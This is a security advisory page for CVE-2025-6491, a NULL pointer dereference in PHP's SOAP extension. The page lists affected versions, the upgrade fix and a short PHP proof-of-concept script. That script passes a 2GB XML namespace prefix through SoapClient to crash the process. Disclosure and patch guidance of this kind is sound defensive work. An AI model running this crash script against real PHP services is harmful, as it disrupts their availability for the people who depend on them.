NULL Pointer Dereference Affecting php package, versions [,8.1.33)[8.2.0RC1,8.2.29)[8.3.0RC1,8.3.23)[8.4.0RC1,8.4.10)


Severity

Recommended
0.0
high
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.08% (25th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about NULL Pointer Dereference vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-UNMANAGED-PHP-11426539
  • published3 Aug 2025
  • disclosed5 Jul 2025
  • creditUnknown

Introduced: 5 Jul 2025

CVE-2025-6491  (opens in a new tab)
CWE-476  (opens in a new tab)

How to fix?

Upgrade php to version 8.1.33, 8.2.29, 8.3.23, 8.4.10 or higher.

Overview

Affected versions of this package are vulnerable to NULL Pointer Dereference via the serialize_zval function when a fully qualified name larger than 2GB is used as an XML namespace prefix. An attacker can cause a segmentation fault and disrupt service availability by supplying excessively large input data.

PoC

<?php
ini_set('memory_limit', '6144M');
// 2 GB prefix to overflow int (INT_MAX = 2147483647)
$hugePrefix = str_repeat("A", 0x7fffffff);
// This is the local part of the XML name
$localName = "Element";
// This will be passed to xmlBuildQName(prefix: hugePrefix, ncname: localName)
$soapVar = new SoapVar(
    "value",
    XSD_STRING,
    null,
    null,
    "{$hugePrefix}:{$localName}" // Triggers xmlBuildQName
);
$options = [
    'location' => 'http://127.0.0.1/', // localhost dummy
    'uri' => 'urn:dummy',
    'trace' => 1,
    'exceptions' => true,
];
try {
    $client = new SoapClient(null, $options);
    $client->__soapCall("DummyFunction", [$soapVar]);
} catch (Exception $e) {
    echo "Caught Exception: " . $e->getMessage() . "\n";
}
?>

CVSS Base Scores

version 4.0
version 3.1